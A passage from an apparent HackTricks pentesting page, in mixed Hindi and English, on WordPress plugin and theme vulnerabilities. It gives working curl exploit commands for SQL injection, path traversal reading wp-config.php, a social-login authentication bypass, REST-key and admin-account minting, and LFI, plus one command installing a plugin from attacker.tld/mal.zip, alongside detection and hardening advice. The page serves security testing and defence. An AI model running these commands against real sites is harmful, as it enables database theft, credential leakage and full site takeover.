define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

साथ ही, केवल भरोसेमंद WordPress plugins और themes ही इंस्टॉल करें

सुरक्षा प्लगइन्स

अन्य सिफारिशें

  • डिफ़ॉल्ट admin उपयोगकर्ता हटाएँ
  • मजबूत पासवर्ड और 2FA का उपयोग करें
  • समय-समय पर उपयोगकर्ताओं की permissions की समीक्षा करें
  • लॉगिन प्रयासों को सीमित करें ताकि Brute Force attacks को रोका जा सके
  • Rename wp-admin.php file और केवल आंतरिक रूप से या कुछ निश्चित IP addresses से ही एक्सेस की अनुमति दें।

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

The WP Job Portal recruitment plugin exposed a savecategory task that ultimately executes the following vulnerable code inside modules/category/model.php::validateFormData():

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Issues introduced by this snippet:

  1. सैनिटाइज़ नहीं किया गया उपयोगकर्ता इनपुटparentid सीधे HTTP request से आता है.
  2. WHERE clause के अंदर string concatenation – कोई is_numeric() / esc_sql() / prepared statement नहीं है.
  3. बिना प्रमाणीकरण पहुँच – हालाँकि action admin-post.php के ज़रिए execute होता है, जगह पर मौजूद एकमात्र चेक CSRF nonce (wp_verify_nonce() ) है, जिसे कोई भी visitor सार्वजनिक पेज से प्राप्त कर सकता है जो शॉर्टकोड [wpjobportal_my_resumes] एम्बेड करता है.

शोषण

  1. एक नया nonce प्राप्त करें:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid का दुरुपयोग करके arbitrary SQL इंजेक्ट करें:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

Response इंजेक्ट किए गए query का परिणाम प्रकट कर सकता है या डेटाबेस बदल सकता है, जिससे SQLi साबित होता है.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

एक अन्य task, downloadcustomfile, विज़िटर्स को path traversal के जरिए डिस्क पर मौजूद किसी भी फ़ाइल डाउनलोड करने की अनुमति देता था। कमजोर sink modules/customfield/model.php::downloadCustomUploadedFile() में स्थित है:

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name attacker-controlled है और without sanitisation के साथ जोड़ा जाता है। फिर से, एकमात्र gate एक CSRF nonce है जिसे resume page से प्राप्त किया जा सकता है।

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

सर्वर wp-config.php की सामग्री के साथ प्रतिक्रिया देता है, leaking DB credentials and auth keys.

गैर-प्रमाणीकृत account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

कई themes/plugins "social login" helpers admin-ajax.php के माध्यम से expose करते हैं। अगर एक unauthenticated AJAX action (wp_ajax_nopriv_...) provider data अनुपस्थित होने पर client-supplied identifiers पर भरोसा करता है और फिर wp_set_auth_cookie() को कॉल करता है, तो यह एक पूरा authentication bypass बन जाता है।

सामान्य दोषपूर्ण पैटर्न (सरलीकृत)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

यह क्यों exploitable है

  • बिना प्रमाणीकरण के पहुंच possible via admin-ajax.php (wp_ajax_nopriv_… action) के माध्यम से।
  • state change से पहले nonce/capability checks नहीं हैं।
  • OAuth/OpenID provider verification गायब है; default branch attacker input स्वीकार कर लेता है।
  • get_user_by('email', $_POST['id']) के बाद wp_set_auth_cookie($uid) requester को किसी भी मौजूदा email address के रूप में authenticate कर देता है।

Exploitation (unauthenticated)

  • पूर्वापेक्षाएँ: attacker /wp-admin/admin-ajax.php तक पहुँच सकता है और किसी मान्य user email को जानता/अनुमान लगा सकता है।
  • provider को unsupported value पर सेट करें (या इसे हटाएँ) ताकि default branch हिट हो और id=<victim_email> पास करें।
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 और JSON बॉडी जैसी {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* पीड़ित उपयोगकर्ता के लिए; उसके बाद के अनुरोध प्रमाणीकृत होते हैं।

Finding the action name

  • theme/plugin की जाँच करें add_action('wp_ajax_nopriv_...', '...') पंजीकरणों के लिए सोशल लॉगिन कोड में (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs जो अप्रमाणीकृत POSTs दिखाते हैं /wp-admin/admin-ajax.php पर social-login action और id= के साथ।
  • 200 responses जो success JSON के साथ हों और तुरंत उसी IP/User-Agent से आने वाले प्रमाणीकृत ट्रैफिक से पहले हों।

Hardening

  • क्लाइंट इनपुट से पहचान न बनाएं। केवल उन्हीं emails/IDs को स्वीकार करें जो validated provider token/ID से आई हों।
  • CSRF nonces और capability checks की आवश्यकता रखें भले ही login helpers के लिए हों; wp_ajax_nopriv_ को तब तक register करने से बचें जब तक बिल्कुल जरूरी न हो।
  • OAuth/OIDC responses को server-side पर validate और verify करें; missing/invalid providers को reject करें (POST id पर fallback नहीं करें)।
  • अस्थायी रूप से social login को disable करने या edge पर virtually patch करने पर विचार करें (vulnerable action को block करें) जब तक fix नहीं हो जाता।

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – एक connection key mint करें और इसका उपयोग करें

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

क्यों यह शोषण योग्य है

  • Sensitive REST route केवल कम-entropy पहचान प्रमाण (username) या permission_callback के अभाव से सुरक्षित है
  • कोई capability enforcement नहीं; mint किया गया key सार्वभौमिक बायपास के रूप में स्वीकार किया जाता है

Detection checklist

  • Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • कोई भी route जो request-supplied identity (username/email) के आधार पर tokens/keys जारी करता है बिना इसे authenticated user या capability से बाँधे
  • ऐसे subsequent routes देखें जो server-side capability checks के बिना minted token/key स्वीकार करते हैं

Hardening

  • किसी भी privileged REST route के लिए: permission_callback आवश्यक करें जो required capability के लिए current_user_can() लागू करे
  • client-supplied identity से long-lived keys mint न करें; अगर ज़रूरत हो तो authentication के बाद short-lived, user-bound tokens जारी करें और उपयोग पर capabilities फिर से जाँचें
  • caller के user context को validate करें (wp_set_current_user अकेला पर्याप्त नहीं है) और उन अनुरोधों को अस्वीकार करें जहाँ !is_user_logged_in() || !current_user_can()

Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)

Nonces CSRF को रोकते हैं, authorization को नहीं। अगर कोड nonce पास होना को green light मानता है और फिर privileged operations (e.g., install/activate plugins) के लिए capability checks छोड़ देता है, तो अनप्रमाणित हमलावर एक कमजोर nonce requirement पूरा करके backdoored या vulnerable plugin इंस्टॉल करके RCE तक पहुँच सकते हैं।

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impact: full compromise via arbitrary plugin install/activation

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers जो plugins/themes को modify करते हैं पर केवल wp_verify_nonce()/check_admin_referer() मौजूद हों और capability check न हो
  • कोई भी code path जो nonce validation के बाद $skip_caps = true सेट करता है

Hardening

  • nonces को केवल CSRF tokens के रूप में ही मानें; nonce की स्थिति चाहे जो भी हो capability checks लागू करें
  • installer code तक पहुँचने से पहले current_user_can('install_plugins') और current_user_can('activate_plugins') की आवश्यकता रखें
  • अनप्रमाणीकृत एक्सेस को अस्वीकार करें; विशेषाधिकार वाले फ्लोज़ के लिए nopriv AJAX actions को expose करने से बचें

अनप्रमाणीकृत SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)

Multiple depicter-* actions ने s (search) पैरामीटर को उपयोग किया और उसे parameterization के बिना SQL queries में जोड़ दिया।

  • Parameter: s (search)
  • Flaw: WHERE/LIKE क्लॉज़ में direct string concatenation; कोई prepared statements/sanitization नहीं
  • Impact: database exfiltration (users, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep करके depicter-* action handlers और SQL में सीधे $_GET['s'] या $_POST['s'] के उपयोग को खोजें
  • $wpdb->get_results()/query() को पास किए गए कस्टम क्वेरीज की समीक्षा करें जो s को concatenate कर रही हैं

Hardening

  • हमेशा $wpdb->prepare() या wpdb placeholders का उपयोग करें; सर्वर-साइड पर अनपेक्षित metacharacters को अस्वीकार करें
  • s के लिए एक सख्त allowlist जोड़ें और अपेक्षित charset/length में normalize करें

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

template parameter में normalization/containment के बिना attacker-controlled paths को स्वीकार करने से arbitrary local files पढ़ने की अनुमति मिलती है, और कभी-कभार code execution भी हो सकता है यदि includable PHP/log फाइलें runtime में शामिल कर दी जाएँ।

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: कोई normalization/allowlisting नहीं; traversal की अनुमति है
  • Impact: गोपनीय जानकारी का खुलासा (wp-config.php), specific environments में potential RCE (log poisoning, includable PHP)

PoC – wp-config.php पढ़ें

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

पता लगाने की चेकलिस्ट

  • कोई भी handler जो request paths को include()/require()/read sinks में जोड़ता है बिना realpath() containment के
  • traversal patterns (../) की तलाश करें जो इरादतन templates directory के बाहर पहुँचते हों

कठोरकरण

  • Allowlisted templates लागू करें; realpath() से resolve करें और चेक करें कि str_starts_with(realpath(file), realpath(allowed_base))
  • इनपुट को normalize करें; traversal sequences और absolute paths को reject करें; sanitize_file_name() केवल filenames के लिए उपयोग करें (पूर्ण paths के लिए नहीं)

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें